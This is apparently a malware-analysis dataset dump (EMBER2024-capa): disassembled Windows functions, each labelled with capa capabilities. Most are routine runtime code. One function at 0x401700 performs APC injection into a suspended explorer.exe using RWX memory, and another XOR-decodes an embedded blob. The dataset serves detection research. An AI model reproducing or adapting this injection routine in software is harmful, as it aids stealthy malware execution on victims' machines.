joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c02c8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
xor edi, edi
mov rax, r15
lea rcx, [0x140132180]
and eax, 0x3f
mov r12, r15
sar r12, 6
mov rsi, rdx
lea r9d, [rdi + 0xa]
mov r14, r15
lea rbp, [rax + rax*8]
mov rax, qword [rcx + r12*8]
mov r10, qword [rax + rbp*8 + 0x28]
test r8, r8
je 0x1400c031e
cmp word [rdx], r9w
jne 0x1400c031e
or byte [rax + rbp*8 + 0x38], 4
jmp 0x1400c0323
and byte [rax + rbp*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rax, rsi
mov rbx, rsi
cmp rsi, r8
jae 0x1400c04a2
mov r11d, select
lea r13d, [r11 - 0xb]
movzx edx, word [rax]
cmp dx, 0x1a
je 0x1400c046d
lea rcx, [rax + 2]
cmp dx, r11w
jne 0x1400c036b
cmp rcx, r8
jae 0x1400c038b
cmp word [rcx], r9w
jne 0x1400c036b
add rax, 4
mov edx, r9d
jmp 0x1400c036e
mov rax, rcx
mov word [rbx], dx
mov r9, r13
mov rcx, rbx
mov r9d, 0xa
lea rbx, [rbx + r13]
cmp rax, r8
jb 0x1400c0340
jmp 0x1400c04a2
lea r9, [rsp + 0x80]
mov word [rsp + 0x70], di
mov r8d, r13d
mov dword [rsp + 0x80], edi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400c0466
cmp dword [rsp + 0x80], edi
je 0x1400c0466
lea r9, [0x140132180]
mov rax, qword [r9 + r12*8]
test byte [rax + rbp*8 + 0x38], 0x48
mov ebp, 0xa
je 0x1400c0440
movzx eax, word [rsp + 0x70]
cmp ax, bp
jne 0x1400c03f3
mov word [rbx], bp
jmp 0x1400c049f
mov word [rsp + 0x78], ax
mov rdx, r14
mov rax, r14
sar rdx, 6
and eax, 0x3f
mov word [rbx], recv
lea r8, [rax + rax*8]
mov rax, qword [r9 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, r13
jl 0x1400c040e
mov rax, r14
sar rax, 6
and r14d, 0x3f
mov rax, qword [r9 + rax*8]
lea rcx, [r14 + r14*8]
mov byte [rax + rcx*8 + 0x3c], bpl
jmp 0x1400c049f
cmp word [rsp + 0x70], bp
jne 0x1400c044c
cmp rbx, rsi
je 0x1400c03eb
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400c0224
cmp word [rsp + 0x70], bp
je 0x1400c04a2
mov word [rbx], recv
jmp 0x1400c049f
mov rcx, r15
lea r9, [0x140132180]
and ecx, 0x3f
mov rax, r15
sar rax, 6
lea r8, [rcx + rcx*8]
mov rcx, qword [r9 + rax*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x1400c049c
or al, r13b
mov byte [rcx + r8*8 + 0x38], al
jmp 0x1400c04a2
mov word [rbx], dx
add rbx, r13
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400c21b8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400c21ce
mov al, 1
jmp 0x1400c223a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400c21df
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400c2238
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400c7854
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400c2238
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400c2238
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400c2238
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400c223a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400c6b04
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400c6b34
xor eax, eax
jmp 0x1400c6bf7
mov rbp, rbx
cmp word [rax], si
je 0x1400c6b59
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400c6b40
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400c6b3c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400c53cc
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x1400c6b9a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400c6b2d
call fcn.1400bca90
mov rdi, rax
test rax, rax
jne 0x1400c6bb0
xor ecx, ecx
call fcn.1400bca30
jmp 0x1400c6b8f
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400c53cc
test eax, eax
jne 0x1400c6be1
mov rcx, rdi
call fcn.1400bca30
jmp 0x1400c6beb
xor ecx, ecx
call fcn.1400bca30
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400c9d4c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor esi, esi
mov rdi, rdx
mov dword [rsp + 0x30], esi
mov rbx, rcx
test rcx, rcx
je 0x1400c9dbf
cmp word [rcx], si
je 0x1400c9dbf
lea rdx, [0x1401017c8]
call fcn.1400ce018
test eax, eax
je 0x1400c9dbf
lea rdx, [0x1401017e0]
mov rcx, rbx
call fcn.1400ce018
test eax, eax
jne 0x1400c9db5
mov ecx, dword [rdi + 8]
lea r9d, [rsi + 2]
lea r8, [rsp + 0x30]
mov edx, 0x2000000b
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1400c9ddc
mov eax, dword [rsp + 0x30]
jmp 0x1400c9dee
mov rcx, rbx
call fcn.1400bc2e4
jmp 0x1400c9dee
mov ecx, dword [rdi + 8]
lea r8, [rsp + 0x30]
mov r9d, 2
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1400c9de0
xor eax, eax
jmp 0x1400c9dee
mov eax, dword [rsp + 0x30]
test eax, eax
jne 0x1400c9dee
call qword [sym.imp.KERNEL32.dll_GetACP]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400c9e00
Capabilities:
Get geographical location

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov ebp, edx
mov dword [rax + 8], ebx
mov edi, ecx
call fcn.1400bc7f0
mov ecx, edi
lea r9d, [rbx + 2]
and ecx, 0x3ff
lea r8, [rsp + 0x30]
bts ecx, 0xa
mov edx, 0x20000001
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1400c9ea3
cmp edi, dword [rsp + 0x30]
je 0x1400c9e9c
test ebp, ebp
je 0x1400c9e9c
mov r9, qword [rsi + 0x98]
mov r8d, ebx
movzx edx, word [r9]
lea rcx, [r9 + 2]
lea eax, [rdx - 0x41]
cmp ax, 0x19
jbe 0x1400c9e78
sub dx, 0x61
cmp dx, 0x19
ja 0x1400c9e84
movzx edx, word [rcx]
inc r8d
add rcx, 2
jmp 0x1400c9e65
or rax, 0xffffffffffffffff
inc rax
cmp word [r9 + rax*2], bx
jne 0x1400c9e88
cmp r8d, eax
setne bl
mov eax, ebx
jmp 0x1400c9ea5
mov eax, 1
jmp 0x1400c9ea5
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400cdcc8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400aecb4
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400cdd52
cmp byte [rbp - 0x21], r15b
je 0x1400cdd4d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400cdd88
call fcn.1400bf710
test eax, eax
jne 0x1400cdd74
cmp byte [rbp - 0x21], r15b
je 0x1400cdd6c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400cdd88
cmp byte [rbp - 0x21], r15b
je 0x1400cdd85
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400b9490
test eax, eax
jne 0x1400cde28
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400aecb4
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400cddc7
cmp byte [rbp - 0x21], r15b
je 0x1400cddfc
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400cddfc
call fcn.1400bf710
test eax, eax
jne 0x1400cdde8
cmp byte [rbp - 0x21], r15b
je 0x1400cdde1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400cddfc
cmp byte [rbp - 0x21], r15b
je 0x1400cddf9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400b9490
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400cde28
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400cde2b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400cde39
mov rcx, rdi
call fcn.1400bca30
cmp byte [rbp + 0x3f], r15b
je 0x1400cde48
mov rcx, qword [rbp + 0x27]
call fcn.1400bca30
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400ce9f4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400c0224
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400c0224
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400ceb41
cmp rax, 0xffffffffffffffff
je 0x1400ceb41
xor edi, edi
test rbp, rbp
jle 0x1400ceaef
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400bc9b0
mov rbx, rax
test rax, rax
jne 0x1400cea7c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400ceae5
mov edx, 0x8000
mov ecx, r14d
call fcn.1400ba84c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400c1878
cmp eax, 0xffffffff
je 0x1400ceac5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400cea8c
mov edx, r15d
mov ecx, r14d
call fcn.1400ba84c
jmp 0x1400ceae5
cmp byte [rsi + 0x38], dil
je 0x1400ceadc
cmp dword [rsi + 0x34], 5
jne 0x1400ceadc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], select
cmp byte [rsi + 0x30], dil
je 0x1400ceae5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400bca30
jmp 0x1400ceb53
jns 0x1400ceb53
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400c0224
cmp rax, 0xffffffffffffffff
jne 0x1400ceb0d
cmp byte [rsi + 0x30], dil
je 0x1400ceb53
jmp 0x1400ceb49
mov ecx, r14d
call fcn.1400c7854
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400ceb53
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recv
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], select
jmp 0x1400ceb53
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400ceb4e
mov edi, dword [rsi + 0x2c]
jmp 0x1400ceb53
mov edi, socket
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400c0224
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400cf890
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400cf8b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400cf8b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400027f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000283a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000283a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000283a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000283a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000283a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000283c
xor al, al
add rsp, 0x28
ret
Function at 0x4015b0
Capabilities:
Encode data using xor

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r9, qword [rcx + 8]
mov r12, qword [rcx]
mov rax, r9
mov rbx, rcx
mov esi, edx
sub rax, r12
cmp rax, 0xd05e
jbe 0x40163a
cmp rax, 0xd05f
je 0x4015f1
lea rax, [r12 + 0xd05f]
cmp r9, rax
je 0x4015f1
mov qword [rcx + 8], rax
lea r8, [0x004dd020]
mov eax, esi
mov ecx, 1
xor eax, 0x17
mov byte [r12], al
nop word cs:[rax + rax]
mov eax, esi
mov rdx, qword [rbx]
shr eax, cl
xor al, byte [r8 + rcx]
mov byte [rdx + rcx], al
add rcx, 1
cmp rcx, 0xd05f
jne 0x401610
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov edx, 0xd05f
sub rdx, rax
mov r13, rdx
mov rdx, qword [rcx + 0x10]
sub rdx, r9
cmp r13, rdx
jbe 0x4016b3
cmp rax, r13
mov rdi, r13
cmovae rdi, rax
add rax, rdi
mov rdi, 0xffffffffffffffff
cmovae rdi, rax
mov rcx, rdi
call fcn.004d7380
mov r14, qword [rbx]
mov rbp, qword [rbx + 8]
mov r12, rax
sub rbp, r14
jne 0x4016d2
xor edx, edx
mov r8, r13
mov rcx, rax
lea rbp, [rax + r13]
call sub.msvcrt.dll_memset
test r14, r14
jne 0x4016f2
movq xmm0, r12
movq xmm1, rbp
add rdi, r12
punpcklqdq xmm0, xmm1
mov qword [rbx + 0x10], rdi
movups xmmword [rbx], xmm0
jmp 0x4015f1
mov rcx, r9
mov r8, r13
xor edx, edx
call sub.msvcrt.dll_memset
mov r12, qword [rbx]
mov r9, rax
add r9, r13
mov qword [rbx + 8], r9
jmp 0x4015f1
mov r8, rbp
mov rdx, r14
mov rcx, rax
call sub.msvcrt.dll_memmove
lea rcx, [r12 + rbp]
mov r8, r13
xor edx, edx
lea rbp, [rcx + r13]
call sub.msvcrt.dll_memset
mov rcx, r14
call fcn.004d7340
jmp 0x401696
Function at 0x401700
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xe8
xor eax, eax
xor r9d, r9d
xor r8d, r8d
xor ebx, ebx
mov rbp, rcx
mov ecx, 0xc
mov rsi, rdx
mov dword [rsp + 0x70], 0x68
lea rdi, [rsp + 0x74]
xor edx, edx
rep stosq qword [rdi], rax
lea rax, [rsp + 0x50]
lea rcx, str.C:Windowsexplorer.exe
mov dword [rdi], 0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4017f6
xor edx, edx
mov r9d, 0x3000
mov r8, rsi
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
mov rdi, rax
je 0x401805
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401805
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x401805
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rax, rbx
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, rbx
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x40b440
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00511624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x40b5c8
mov rax, qword [0x00511628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40b48c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x40b515
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x40b470
mov rcx, rbx
call fcn.0040c0e0
test rax, rax
mov r12, rax
je 0x40b5fd
mov rax, qword [0x00511628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.0040c210
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00511628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40b5e0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40b50e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x40b570
add dword [0x00511624], 1
cmp edi, 8
jae 0x40b543
test dil, 4
jne 0x40b5b4
test edi, edi
je 0x40b538
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40b5cf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x40b538
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40b55c
jmp 0x40b538
add rsi, qword [0x00511628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40b50e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.004d9030
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x40b538
xor esi, esi
jmp 0x40b497
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x40b538
mov rax, qword [0x00511628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.004d9030
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.004d9030
nop
nop dword [rax]

Function at 0x40bd50
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00511900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x005118e0]
test rbx, rbx
je 0x40bda4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40bd9b
test rsi, rsi
je 0x40bd9b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40bd80
lea rcx, [0x00511900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40c0e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004ef560]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40c14d
mov rcx, r8
call fcn.0040bfc0
test eax, eax
je 0x40c14d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40c14d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40c144
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40c14f
add rax, 0x28
cmp rax, r9
jne 0x40c130
xor eax, eax
add rsp, 0x28
ret

Function at 0x40c840
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40c871
xor edx, edx
mov ecx, eax
mov dword [0x00511950], eax
call fcn.00417a20
test eax, eax
sete al
movzx eax, al
mov dword [0x004da068], eax
add rsp, 0x28
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40c85e

Function at 0x40c980
Capabilities:
Set thread local storage value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov edi, 1
mov rax, qword [rdx]
mov rbp, qword [rcx + 0x10]
mov r12, qword [rcx + 0x18]
test rax, rax
mov rsi, rcx
mov rbx, rdx
mov r15, r8
je 0x40ca80
mov r13, qword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x40c9dc
mov qword [0x00511958], r14
mov rax, qword [rbx]
add edi, 1
mov rax, qword [rax]
test rax, rax
mov qword [rbx], rax
je 0x40ca80
mov r9, rsi
mov r8, qword [rsi]
mov edx, 0xa
mov ecx, 1
mov r14, qword [rax + 0x30]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rbx
call rbp
test eax, eax
jne 0x40caa0
test r14, r14
je 0x40ca2f
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, qword [rsi]
mov edx, 0xa
mov ecx, 1
call r14
cmp eax, 7
je 0x40cac5
cmp eax, 8
jne 0x40caa0
mov rax, qword [rbx]
mov r14, qword [rax]
mov eax, dword [0x004da068]
test eax, eax
js 0x40ca70
test eax, eax
je 0x40c9c0
mov rdx, r14
mov ecx, dword [0x00511950]
call r13
test eax, eax
jne 0x40c9c7
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40c9c7
call fcn.0040c880
mov eax, dword [0x004da068]
jmp 0x40ca3f
mov qword [rsp + 0x28], r12
mov r9, rsi
mov r8, qword [rsi]
mov edx, 0x1a
mov qword [rsp + 0x20], rbx
mov ecx, 1
call rbp
test eax, eax
je 0x40cac0
mov eax, 2
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 5
mov dword [r15], edi
jmp 0x40caa5
Function at 0x40cad0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov eax, dword [0x004da068]
test eax, eax
mov rbx, rcx
js 0x40cb50
test eax, eax
jne 0x40cb03
mov rax, qword [0x00511958]
mov qword [0x00511958], rbx
mov qword [rbx], rax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov edi, dword [0x00511950]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
call rsi
mov ebp, eax
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, ebp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rbx], rdi
mov rdx, rbx
mov ecx, dword [0x00511950]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x40cafa
mov rax, rsi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
call fcn.0040c880
mov eax, dword [0x004da068]
jmp 0x40cae5

Function at 0x40cb60
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [0x004da068]
mov rbx, qword [rcx]
test eax, eax
js 0x40cba2
test eax, eax
jne 0x40cb83
mov qword [0x00511958], rbx
add rsp, 0x20
pop rbx
ret
mov rdx, rbx
mov ecx, dword [0x00511950]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x40cb7d
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.0040c880
mov eax, dword [0x004da068]
jmp 0x40cb72

Function at 0x40cc70
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov eax, dword [0x004da068]
test eax, eax
mov rbx, rcx
js 0x40ccf0
test eax, eax
mov rsi, qword [0x00511958]
jne 0x40cd06
test rsi, rsi
mov qword [rsp + 0x38], rsi
je 0x40cce1
lea rdi, [rsp + 0x38]
mov rax, rsi
mov rax, qword [rax + 0x30]
test rax, rax
je 0x40cccf
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, qword [rbx]
mov edx, 1
mov ecx, 1
call rax
